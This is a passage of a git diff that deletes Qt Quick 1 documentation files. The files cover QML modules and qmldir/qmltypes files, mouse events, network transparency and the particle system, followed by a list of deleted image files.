-****************************************************************************/ - -/*! -\page qdeclarativemodules.html -\inqmlmodule QtQuick 1 -\title Modules -\section1 QML Modules - - -A module is a set of QML content files that can be imported as a unit into a QML -application. Modules can be used to organize QML content into independent units, -and they can use a versioning mechanism that allows for independent -upgradability of the modules. - -While QML component files within the same directory are automatically accessible -within the global namespace, components defined elsewhere must be imported -explicitly using the \c import statement to import them as modules. For -example, an \c import statement is required to use: - -\list -\o A component defined in another QML file that is not in the same directory -\o A component defined in a QML file located on a remote server -\o A \l{QDeclarativeExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory) -\o A JavaScript file (note this must be imported using \l {#namespaces}{named imports}) -\endlist - -An \c import statement includes the module name, and possibly a version number. -This can be seen in the snippet commonly found at the top of QML files: - -\snippet doc/src/snippets/declarative/imports/qtquick-1.0.qml import - -This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML -library itself must be imported to use any of the \l {QML Elements}, as they -are not included in the global namespace by default.) - -The \c Qt module is an \e installed module; it is found in the -\l{#import-path}{import path}. There are two types of QML modules: -located modules (defined by a URL) and installed modules (defined by a URI). - - -\section1 Located Modules - -Located modules can reside on the local filesystem or a network resource, -and are referred to by a quoted location URL that specifies the filesystem -or network URL. They allow any directory with QML content to be imported -as a module, whether the directory is on the local filesystem or a remote -server. - -For example, a QML project may have a separate directory for a set of -custom UI components. These components can be accessed by importing the -directory using a relative or absolute path, like this: - -\table -\row -\o Directory structure -\o Contents of application.qml - -\row -\o -\code -MyQMLProject - |- MyComponents - |- CheckBox.qml - |- Slider.qml - |- Window.qml - |- Main - |- application.qml -\endcode - -\o -\qml -import "../MyComponents" - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -\endtable - -Similarly, if the directory resided on a network source, it could -be imported like this: - -\snippet doc/src/snippets/declarative/imports/network-imports.qml imports - -A located module can also be imported as a network resource if it has a -\l{Writing a qmldir file}{qmldir file} in the directory that specifies the QML files -to be made available by the module. For example, if the \c MyComponents directory -contained a \c qmldir file defined like this: - -\code -Slider 1.0 Slider.qml -CheckBox 1.0 CheckBox.qml -Window 1.0 Window.qml -\endcode - -If the \c MyComponents directory was then hosted as a network resource, it could -be imported as a module, like this: - -\qml -import "http://the-server-name.com/MyQMLProject/MyComponents" - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -with an optional "1.0" version specification. Notice the import would fail if -a later version was used, as the \c qmldir file specifies that these elements -are only available in the 1.0 version. - -Note that modules imported as a network resource allow only access to components -defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins} -are not available. - - -\target import-path -\section1 Installed Modules - -Installed modules are modules that are made available through the QML import path, -as defined by QDeclarativeEngine::importPathList(), or modules defined within -C++ application code. An installed module is referred to by a URI, which allows -the module to be imported from QML code without specifying a complete filesystem -path or network resource URL. - -When importing an installed module, an un-quoted URI is -used, with a mandatory version number: - -\snippet doc/src/snippets/declarative/imports/installed-module.qml imports - -When a module is imported, the QML engine searches the QML import path for a matching -module. The root directory of the module must contain a -\l{Writing a qmldir file}{qmldir file} that defines the QML files -and/or C++ QML extension plugins that are made available to the module. - -Modules that are installed into the import path translate the URI into -directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule -must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the -QML import path. In addition it is possible to store different versions of the -module in subdirectories of its own. For example, a version 2.1 of the -module could be located under \c com/nokia/qml/mymodule.2/qmldir or -\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load -the module which matches best. - -The import path, as returned by QDeclarativeEngine::importPathList(), defines the default -locations to be searched by the QML engine for a matching module. By default, this list -contains: - -\list -\o The directory of the current file -\o The location specified by QLibraryInfo::ImportsPath -\o Paths specified by the \c QML_IMPORT_PATH environment variable -\endlist - -Additional import paths can be added through QDeclarativeEngine::addImportPath() or the -\c QML_IMPORT_PATH environment variable. When running the \l {QML Viewer}, you -can also use the \c -I option to add an import path. - - -\section2 Creating Installed Modules - -As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example} -was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents -subdirectory could be made available as an installed module by adding a -\l{Writing a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this: - -\code -Slider 1.0 Slider.qml -CheckBox 1.0 CheckBox.qml -Window 1.0 Window.qml -\endcode - -Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously, -a QML file located anywhere on the local filesystem can then import the module as shown below, -without referring to the module's absolute filesystem location: - -\qml -import projects.MyQMLProject.MyComponents 1.0 - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted -as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above -QML code would work just the same. - -Note that modules imported as a network resource allow only access to components -defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins} -are not available. - - -\section2 Creating Installed Modules in C++ - -C++ applications can define installed modules directly within the application using qmlRegisterType(). -For example, the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++ tutorial} -defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType(): - -\code -qmlRegisterType("Charts", 1, 0, "PieChart"); -\endcode - -This allows the application's QML files to use the \c PieChart type by importing the declared -\c Charts module: - -\snippet doc/src/snippets/declarative/imports/chart.qml import - -For \l{QDeclarativeExtensionPlugin}{QML plugins}, the -module URI is automatically passed to QDeclarativeExtensionPlugin::registerTypes(). This method -can be reimplemented by the developer to register the necessary types for the module. Below is the -\c registerTypes() implementation from the \l{declarative/cppextensions/plugins}{QML plugins} -example: - -\snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin - -Once the plugin is built and installed, and includes a \l{Writing a qmldir file}{qmldir file}, -the module can be imported from QML, like this: - -\snippet doc/src/snippets/declarative/imports/timeexample.qml import - -Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by -a module that is imported as a network resource. - - - -\target namespaces -\section1 Namespaces: Using Named Imports - -By default, when a module is imported, its contents are imported into the global namespace. You may choose to import the module into another namespace, either to allow identically-named types to be referenced, or purely for readability. - -To import a module into a specific namespace, use the \e as keyword: - -\snippet doc/src/snippets/declarative/imports/named-imports.qml imports - -Types from these modules can then only be used when qualified by the namespace: - -\snippet doc/src/snippets/declarative/imports/named-imports.qml imported items - -Multiple modules can be imported into the same namespace in the same way that multiple modules can be imported into the global namespace: - -\snippet doc/src/snippets/declarative/imports/merged-named-imports.qml imports - -\section2 JavaScript Files - -JavaScript files must always be imported with a named import: - -\qml -import "somescript.js" as MyScript - -Item { - //... - Component.onCompleted: MyScript.doSomething() -} -\endqml - -The qualifier ("MyScript" in the above example) must be unique within the QML document. -Unlike ordinary modules, multiple scripts cannot be imported into the same namespace. - - -\section1 Writing a qmldir File - -A \c qmldir file is a metadata file for a module that maps all type names in -the module to versioned QML files. It is required for installed modules, and -located modules that are loaded from a network source. - -It is defined by a plain text file named "qmldir" that contains one or more lines of the form: - -\code -# - [] -internal -plugin [] -typeinfo -\endcode - -\bold {# } lines are used for comments. They are ignored by the QML engine. - -\bold { [] } lines are used to add QML files as types. - is the type being made available, the optional is a version -number, and is the (relative) file name of the QML file defining the type. - -Installed files do not need to import the module of which they are a part, as they can refer -to the other QML files in the module as relative (local) files, but -if the module is imported from a remote location, those files must nevertheless be listed in -the \c qmldir file. Types which you do not wish to export to users of your module -may be marked with the \c internal keyword: \bold {internal }. - -The same type can be provided by different files in different versions, in which -case later versions (e.g. 1.2) must precede earlier versions (e.g. 1.0), -since the \e first name-version match is used and a request for a version of a type -can be fulfilled by one defined in an earlier version of the module. If a user attempts -to import a version earlier than the earliest provided or later than the latest provided, -the import produces a runtime error, but if the user imports a version within the range of versions provided, -even if no type is specific to that version, no error will occur. - -A single module, in all versions, may only be provided in a single directory (and a single \c qmldir file). -If multiple are provided, only the first in the search path will be used (regardless of whether other versions -are provided by directories later in the search path). - -The versioning system ensures that a given QML file will work regardless of the version -of installed software, since a versioned import \e only imports types for that version, -leaving other identifiers available, even if the actual installed version might otherwise -provide those identifiers. - -\bold {plugin []} lines are used to add \l{QDeclarativeExtensionPlugin}{QML C++ plugins} to the module. is the name of the library. It is usually not the same as the file name -of the plugin binary, which is platform dependent; e.g. the library \c MyAppTypes would produce -\c libMyAppTypes.so on Linux and \c MyAppTypes.dll on Windows. - - is an optional argument specifying either an absolute path to the directory containing the -plugin file, or a relative path from the directory containing the \c qmldir file to the directory -containing the plugin file. By default the engine searches for the plugin library in the directory that contains the \c qmldir -file. The plugin search path can be queried with QDeclarativeEngine::pluginPathList() and modified using QDeclarativeEngine::addPluginPath(). When running the \l {QML Viewer}, use the \c -P option to add paths to the plugin search path. - -\bold {typeinfo } lines add \l{Writing a qmltypes file}{type description files} to -the module that can be read by QML tools such as Qt Creator to get information about the -types defined by the module's plugins. is the (relative) file name of a .qmltypes -file. - -Without such a file QML tools may be unable to offer features such as code completion -for the types defined in your plugins. - - -\section1 Debugging - -The \c QML_IMPORT_TRACE environment variable can be useful for debugging -when there are problems with finding and loading modules. See -\l{Debugging module imports} for more information. - - -\section1 Writing a qmltypes file - -QML modules may refer to one or more type information files in their -\l{Writing a qmldir file}{qmldir} file. These usually have the .qmltypes -extension and are read by external tools to gain information about -types defined in plugins. - -As such qmltypes files have no effect on the functionality of a QML module. -Their only use is to allow tools such as Qt Creator to provide code completion, -error checking and other functionality to users of your module. - -Any module that uses plugins should also ship a type description file. - -The best way to create a qmltypes file for your module is to generate it -using the \c qmlplugindump tool that is provided with Qt. - -Example: -If your module is in \c /tmp/imports/My/Module, you could run -\code -qmlplugindump My.Module 1.0 /tmp/imports > /tmp/imports/My/Module/mymodule.qmltypes -\endcode -to generate type information for your module. Afterwards, add the line -\code -typeinfo mymodule.qmltypes -\endcode -to \c /tmp/imports/My/Module/qmldir to register it. - -While the qmldump tool covers most cases, it does not work if: -\list -\o The plugin uses a \l{QDeclarativeCustomParser}. The component that uses - the custom parser will not get its members documented. -\o The plugin can not be loaded. In particular if you cross-compiled - the plugin for a different architecture, qmldump will not be able to - load it. -\endlist - -In case you have to create a qmltypes file manually or need to adjust -an existing one, this is the file format: - -\qml -import QtQuick.tooling 1.1 - -// There always is a single Module object that contains all -// Component objects. -Module { - // A Component object directly corresponds to a type exported - // in a plugin with a call to qmlRegisterType. - Component { - - // The name is a unique identifier used to refer to this type. - // It is recommended you simply use the C++ type name. - name: "QDeclarativeAbstractAnimation" - - // The name of the prototype Component. - prototype: "QObject" - - // The name of the default property. - defaultProperty: "animations" - - // The name of the type containing attached properties - // and methods. - attachedType: "QDeclarativeAnimationAttached" - - // The list of exports determines how a type can be imported. - // Each string has the format "URI/Name version" and matches the - // arguments to qmlRegisterType. Usually types are only exported - // once, if at all. - // If the "URI/" part of the string is missing that means the - // type should be put into the package defined by the URI the - // module was imported with. - // For example if this module was imported with 'import Foo 4.8' - // the Animation object would be found in the package Foo and - // QtQuick. - exports: [ - "Animation 4.7", - "QtQuick/Animation 1.0" - ] - - Property { - name: "animations"; - type: "QDeclarativeAbstractAnimation" - // defaults to false, whether this property is read only - isReadonly: true - // defaults to false, whether the type of this property was a pointer in C++ - isPointer: true - // defaults to false: whether the type actually is a QDeclarativeListProperty - isList: true - // defaults to 0: the minor version that introduced this property - revision: 1 - } - Property { name: "loops"; type: "int" } - Property { name: "name"; type: "string" } - Property { name: "loopsEnum"; type: "Loops" } - - Enum { - name: "Loops" - values: { - "Infinite": -2, - "OnceOnly": 1 - } - } - - // Signal and Method work the same way. The inner Parameter - // declarations also support the isReadonly, isPointer and isList - // attributes which mean the same as for Property - Method { name: "restart" } - Signal { name: "started"; revision: 2 } - Signal { - name: "runningChanged" - Parameter { type: "bool" } - Parameter { name: "foo"; type: "bool" } - } - } -} -\endqml - -*/ -/ diff --git a/doc/src/qtquick1/mouseevents.qdoc b/doc/src/qtquick1/mouseevents.qdoc deleted file mode 100644 index bcc73780bc..0000000000 --- a/doc/src/qtquick1/mouseevents.qdoc +++ /dev/null @@ -1,121 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page mouseevents.html -\inqmlmodule QtQuick 1 -\title QML Mouse Events -\ingroup QML Features -\previouspage {Anchor-based Layout in QML}{Layouts using Anchors} -\nextpage {QML Text Handling and Validators}{Text Handling and Validators} -\contentspage QML Features - -\tableofcontents - -\section1 Mouse Elements - -\list -\o \l{MouseArea} Element -\o \l{MouseEvent} Object -\endlist - -\section1 Mouse Event Handling - -QML uses \l{QML Signal and Handler Event System}{signals and handlers} to -deliver mouse interactions. Specifically, the \l MouseArea and \l MouseEvent -elements provide QML components with signal handlers to accept mouse events -within a defined area. - -\section1 Defining a Mouse Area - -The \l MouseArea element receives events within a defined area. One quick way -to define this area is to anchor the \c MouseArea to its parent's area using the -\c anchors.fill property. If the parent is a \l Rectangle (or any \l Item -component), then the MouseArea will fill the area defined by the parent's -dimensions. Alternatively, an area smaller or larger than the parent is -definable. -\snippet doc/src/snippets/declarative/mousearea/mousearea-snippet.qml anchor fill - -\section1 Receiving Events - -The MouseArea element provides -\l{QML Signal and Handler Event System}{signals and handlers} to detect different -mouse events. The \l MouseArea element documentation describes these -gestures in greater detail: - -\list -\o canceled -\o clicked -\o doubleClicked -\o entered -\o exited -\o positionChanged -\o pressAndHold -\o pressed -\o released -\endlist - -These signals have signal handlers that are invoked when the signals are emitted. -\snippet doc/src/snippets/declarative/mousearea/mousearea-snippet.qml mouse handlers - -\section1 Enabling Gestures -Some mouse gestures and button clicks need to be enabled before they send or -receive events. Certain \l MouseArea and \l MouseEvent properties enable these -gestures. - -To listen to (or explicitly ignore) a certain mouse button, set the appropriate -mouse button to the \l {MouseArea::acceptedButtons}{acceptedButtons} property. - -Naturally, the mouse events, such as button presses and mouse positions, are -sent during a mouse click. For example, the \c containsMouse property will only -retrieve its correct value during a mouse press. The -\l {MouseArea::hoverEnabled}{hoverEnabled} will enable mouse events and -positioning even when there are no mouse button presses. Setting the -\c hoverEnabled property to \c true, in turn will enable the \c entered, -\c exited, and \c positionChanged signal and their respective signal handlers. - -\snippet doc/src/snippets/declarative/mousearea/mousearea-snippet.qml enable handlers -Additionally, to disable the whole mouse area, set the \c MouseArea -element's \c enabled property to \c false. - -\section1 MouseEvent Object - -Signals and their handlers receive a \l MouseEvent object as a parameter. The -\c mouse object contain information about the mouse event. For example, the -mouse button that started the event is queried through the -\l {MouseEvent::button}{mouse.button} property. - -The \c MouseEvent object can also ignore a mouse event using its \c accepted -property. - -\section2 Accepting Further Signals -Many of the signals are sent multiple times to reflect various mouse events -such as double clicking. To facilitate the classification of mouse clicks, the -MouseEvent object has an \c accepted property to disable the event propagation. - -To learn more about QML's event system, please read the \l {QML Signal and Handler Event System} document. -*/ diff --git a/doc/src/qtquick1/network.qdoc b/doc/src/qtquick1/network.qdoc deleted file mode 100644 index 0f00ef4d54..0000000000 --- a/doc/src/qtquick1/network.qdoc +++ /dev/null @@ -1,160 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativenetwork.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\previouspage {Dynamic Object Management in QML}{Dynamic Object Management} -\nextpage {QML Internationalization}{Internationalization} -\contentspage QML Features -\title Network Transparency - -QML supports network transparency by using URLs (rather than file names) for all -references from a QML document to other content: - -\qml -Image { - source: "http://www.example.com/images/logo.png" -} -\endqml - -Since a \e relative URL is the same -as a relative file, development of QML on regular file systems remains simple: - -\qml -Image { - source: "images/logo.png" -} -\endqml - -Network transparency is supported throughout QML, for example: - -\list -\o Fonts - the \c source property of FontLoader is a URL -\o WebViews - the \c url property of WebView (obviously!) -\endlist - -Even QML types themselves can be on the network - if the \l {QML Viewer} is used to load -\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine -will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file. -For example if the qmldir file contains the line "World World.qml", it will load -\tt http://example.com/mystuff/World.qml -Any other resources that \tt Hello.qml referred to, usually by a relative URL, would -similarly be loaded from the network. - - -\section1 Relative vs. Absolute URLs - -Whenever an object has a property of type URL (QUrl), assigning a string to that -property will actually assign an absolute URL - by resolving the string against -the URL of the document where the string is used. - -For example, consider this content in \tt{http://example.com/mystuff/test.qml}: - -\qml -Image { - source: "images/logo.png" -} -\endqml - -The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png}, -but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned -\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png. - -If the string assigned to a URL is already an absolute URL, then "resolving" does -not change it and the URL is assigned directly. - - -\section1 Progressive Loading - -Because of the declarative nature of QML and the asynchronous nature of network resources, -objects which reference network resource generally change state as the network resource loads. -For example, an Image with a network source will initially have -a \c width and \c height of 0, a \c status of \c Loading, and a \c progress of 0.0. -While the content loads, the \c progress will increase until -the content is fully loaded from the network, -at which point the \c width and \c height become the content size, the \c status becomes \c Ready, and the \c progress reaches 1.0. -Applications can bind to these changing states to provide visual progress indicators where appropriate, or simply -bind to the \c width and \c height as if the content was a local file, adapting as those bound values change. - -Note that when objects reference local files they immediately have the \c Ready status, but applications wishing -to remain network transparent should not rely on this. Future versions of QML may also use asynchronous local file I/O -to improve performance. - - -\section1 Accessing Network Services - -QML types such as XmlListModel, and JavaScript classes like XMLHttpRequest are intended -entirely for accessing network services, which usually respond with references to -content by URLs that can then be used directly in QML. For example, using these facilities -to access an on-line photography service would provide the QML application with URLs to -photographs, which can be directly set on an \l Image \c source property. - -See the \tt examples/declarative/flickr for a real demonstration of this. - - -\section1 Configuring the Network Access Manager - -All network access from QML is managed by a QNetworkAccessManager set on the QDeclarativeEngine which executes the QML. -By default, this is an unmodified Qt QNetworkAccessManager. You may set a different manager by -providing a QDeclarativeNetworkAccessManagerFactory and setting it via -QDeclarativeEngine::setNetworkAccessManagerFactory(). -For example, the \l {QML Viewer} sets a QDeclarativeNetworkAccessManagerFactory which -creates QNetworkAccessManager that trusts HTTP Expiry headers to avoid network cache checks, -allows HTTP Pipelining, adds a persistent HTTP CookieJar, a simple disk cache, and supports proxy settings. - - -\section1 QRC Resources - -One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into -the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content -that is compiled into the executable: - -\code - QDeclarativeView *canvas = new QDeclarativeView; - canvas->setUrl(QUrl("qrc:/dial.qml")); -\endcode - -The content itself can then use relative URLs, and so be transparently unaware that the content is -compiled into the executable. - - -\section1 Limitations - -The \c import statement is only network transparent if it has an "as" clause. - -More specifically: -\list -\o \c{import "dir"} only works on local file systems -\o \c{import libraryUri} only works on local file systems -\o \c{import "dir" as D} works network transparently -\o \c{import libraryUrl as U} works network transparently -\endlist - - -*/ diff --git a/doc/src/qtquick1/particles.qdoc b/doc/src/qtquick1/particles.qdoc deleted file mode 100644 index 30921dbf20..0000000000 --- a/doc/src/qtquick1/particles.qdoc +++ /dev/null @@ -1,117 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \qmlmodule QtQuick.Particles 2 - \title QML Module QtQuick.Particles 2 - - \brief Elements for the Qt Quick particle system - - This QML module contains a particle system for Qt Quick. - - For a simple overview of how the system can be used, see \l{qml-particles.html}{Using the Qt Quick Particle System}. - -*/ - -/*! - \page qml-particlesystem.html -\inqmlmodule QtQuick 1 - \title Using the Qt Quick Particle System - - \section1 The ParticleSystem - This particle system contains four main types of QML Elements: ParticleSystem, Painters, Emitters and Affectors. - - The ParticleSystem element ties all the other elements together, and manages the shared timeline. Painters, Emitters - and Affectors must all have the same ParticleSystem to be able to interact with each other. - - You may have as many ParticleSystems as you want subject to this constraint, so the logical separation is to have - one ParticleSystem for all the elements that you want to interact, or just one if the number of elements is small - and they are easily kept under control.. - - \section1 Logical Particles - All the particle system elements act on "logical particles". Every particle has a logical representation inside - the particle system, and this is what the elements act upon. Not every logical particle needs to be visualized, - and some logical particles could lead to multiple visual particles being drawn on screen. - \section1 Particle Groups - Every logical particle is a member of a particle group, and each group is identified by a name. If no other - group has been specified, a logical particle belongs to the group with the name "" (the empty string), which - acts the same as any other group. Groups are used for two purposes, for controlling particles and because they - can have stochastic state transitions. - - Groups control particles because you can never access an individual particle with any of the particle system - elements. All elements act on groups as a whole, and so any particles that need to behave differently from each - other (aside from the usual stochastic parameter variation) will need to be in different groups. - - Particles can also change groups dynamically. When this happens the particles trajectory is unaltered, but it - can be acted upon by different ParticlePainters or Affectors. Particles can either have their state changed by - an Affector, or stochastic state transitions can be defined in the group definition (in the particleStates property). - Generally, groups should only be defined in that property if they require stochastic state transitions. Otherwise, - it is sufficient to have the groups be defined simply by the strings used in the particle/particles properties - of the elements. - - \section1 Emitters - Emitters emit logical particles into the system. These particles have a trajectory and lifespan, but no visualization. - These particles are emitted from the location of the Emitter. - - FollowEmitters are a special type of emitter which emits particles from the location of other logicial particles. Any logical - particle of the followed type within the bounds of a FollowEmitter will cause particle emission from its location, as if there - were an Emitter on it with the same properties as the FollowEmitter. - - \section1 ParticlePainters - Painters are the elements that visualize logical particles. For each logical particle in the groups assigned to it, - which are within its bounds (or outside, if you do not set the clip property on the element) it will be visualized - in a manner dependant on the type of ParticlePainter. The base type of ParticlePainter does not draw anything. - ImageParticle renders an image at the particle location. CustomParticle allows you to write your own shaders to render - the particles, passing in the logical particle state as vertex data. ItemParticle allows you to visualize logical - particles using arbitrary QML delegates. ModelParticle is similar, but coordinates model data amongst the delegates - in a similar manner to the view classes. - - As the ParticlePainter is the QML element visualizing the particles in the scene, it is its Z value which is important - when trying to place particles above or below other elements visually. - - \section1 Affectors - Affectors are an optional component of a particle system. They can perform a variety of manipulations to the simulation, - such as altering the trajectory of particles or prematurely ending their life in the simulation. For performance reasons, - it is recommended not to use Affectors in high-volume particle systems. - - \section1 Stochastic Parameters - As particle systems benefit from stochastic control of parameters across a large number of instances, several stochastic - helper types are used by the particle system. If you do not wish to have any stochastic variation in these parameters, - then do not specify any variation in these elements. - - \section2 Directions - Directions can be specified by angle and magnitude, or by x and y components. While any direction can be specified with - either method, there is a significant difference between varying the x and y components and varying the angle and magnitude. - Varying the x and y components will lead to a rectangular area around the specified point, while varying the angle will lead - to an arc centered on the specfied point. - - \section2 Shapes - The particle system contains several elements which represent shapes. These elements do not visualize shapes, and are used - for the purpose of selecting a random point within the shape. If you want a specific point with no randomness, use a 0 width - and 0 height shape (which is the default). Otherwise you can use the shape elements provides to specify an area, so that the - result can use a random point selected from that area. -*/ diff --git a/doc/src/qtquick1/pics/3d-axis.png b/doc/src/qtquick1/pics/3d-axis.png deleted file mode 100644 index 1a587ffd28..0000000000 Binary files a/doc/src/qtquick1/pics/3d-axis.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/3d-rotation-axis.png b/doc/src/qtquick1/pics/3d-rotation-axis.png deleted file mode 100644 index b9402156f0..0000000000 Binary files a/doc/src/qtquick1/pics/3d-rotation-axis.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/BorderImage.png b/doc/src/qtquick1/pics/BorderImage.png deleted file mode 100644 index 651dd8aa76..0000000000 Binary files a/doc/src/qtquick1/pics/BorderImage.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/ListViewHighlight.png b/doc/src/qtquick1/pics/ListViewHighlight.png deleted file mode 100644 index 02bf51dabf..0000000000 Binary files a/doc/src/qtquick1/pics/ListViewHighlight.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/ListViewHorizontal.png b/doc/src/qtquick1/pics/ListViewHorizontal.png deleted file mode 100644 index 4633a0e151..0000000000 Binary files a/doc/src/qtquick1/pics/ListViewHorizontal.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/ListViewVertical.png b/doc/src/qtquick1/pics/ListViewVertical.png deleted file mode 100644 index e0b23d95e1..0000000000 Binary files a/doc/src/qtquick1/pics/ListViewVertical.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/anatomy-component.png b/doc/src/qtquick1/pics/anatomy-component.png deleted file mode 100644 index 6125b0091c..0000000000 Binary files a/doc/src/qtquick1/pics/anatomy-component.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/anchorchanges.png b/doc/src/qtquick1/pics/anchorchanges.png deleted file mode 100644 index 4973e4e9aa..0000000000 Binary files a/doc/src/qtquick1/pics/anchorchanges.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/anchors.svg b/doc/src/qtquick1/pics/anchors.svg deleted file mode 100644 index 08b00ed6e3..0000000000 --- a/doc/src/qtquick1/pics/anchors.svg +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - image/svg+xml - - - - - - - - pic - label - - diff --git a/doc/src/qtquick1/pics/animatedimageitem.gif b/doc/src/qtquick1/pics/animatedimageitem.gif deleted file mode 100644 index 85c3cb5609..0000000000 Binary files a/doc/src/qtquick1/pics/animatedimageitem.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/axisrotation.png b/doc/src/qtquick1/pics/axisrotation.png deleted file mode 100644 index 4cddcdfcaf..0000000000 Binary files a/doc/src/qtquick1/pics/axisrotation.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/blur_example.png b/doc/src/qtquick1/pics/blur_example.png deleted file mode 100644 index 763b11224a..0000000000 Binary files a/doc/src/qtquick1/pics/blur_example.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/content.png b/doc/src/qtquick1/pics/content.png deleted file mode 100644 index 47a98ac9a5..0000000000 Binary files a/doc/src/qtquick1/pics/content.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/declarative-adv-tutorial1.png b/doc/src/qtquick1/pics/declarative-adv-tutorial1.png deleted file mode 100644 index 1699ab0e4d..0000000000 Binary files a/doc/src/qtquick1/pics/declarative-adv-tutorial1.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/declarative-adv-tutorial2.png b/doc/src/qtquick1/pics/declarative-adv-tutorial2.png deleted file mode 100644 index ba27c442ce..0000000000 Binary files a/doc/src/qtquick1/pics/declarative-adv-tutorial2.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/declarative-adv-tutorial3.png b/doc/src/qtquick1/pics/declarative-adv-tutorial3.png deleted file mode 100644 index d500434d14..0000000000 Binary files a/doc/src/qtquick1/pics/declarative-adv-tutorial3.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/declarative-adv-tutorial4.gif b/doc/src/qtquick1/pics/declarative-adv-tutorial4.gif deleted file mode 100644 index 827458daa5..0000000000 Binary files a/doc/src/qtquick1/pics/declarative-adv-tutorial4.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/declarative-qmlfocus1.png b/doc/src/qtquick1/pics/declarative-qmlfocus1.png deleted file mode 100644 index fd05146d8a..0000000000 Binary files a/doc/src/qtquick1/pics/declarative-qmlfocus1.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/declarative-qmlfocus2.png b/doc/src/qtquick1/pics/declarative-qmlfocus2.png deleted file mode 100644 index a946e2c49f..0000000000 Binary files a/doc/src/qtquick1/pics/declarative-qmlfocus2.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/declarative-qmlfocus3.png b/doc/src/qtquick1/pics/declarative-qmlfocus3.png deleted file mode 100644 index ba55f76098..0000000000 Binary files a/doc/src/qtquick1/pics/declarative-qmlfocus3.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/declarative-qmlfocus4.png b/doc/src/qtquick1/pics/declarative-qmlfocus4.png deleted file mode 100644 index e21f2a6aa9..0000000000 Binary files a/doc/src/qtquick1/pics/declarative-qmlfocus4.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/dial-example.gif b/doc/src/qtquick1/pics/dial-example.gif deleted file mode 100644 index 4e90ba91c4..0000000000 Binary files a/doc/src/qtquick1/pics/dial-example.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/edge1.png b/doc/src/qtquick1/pics/edge1.png deleted file mode 100644 index f4bc16d01f..0000000000 Binary files a/doc/src/qtquick1/pics/edge1.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/edge2.png b/doc/src/qtquick1/pics/edge2.png deleted file mode 100644 index 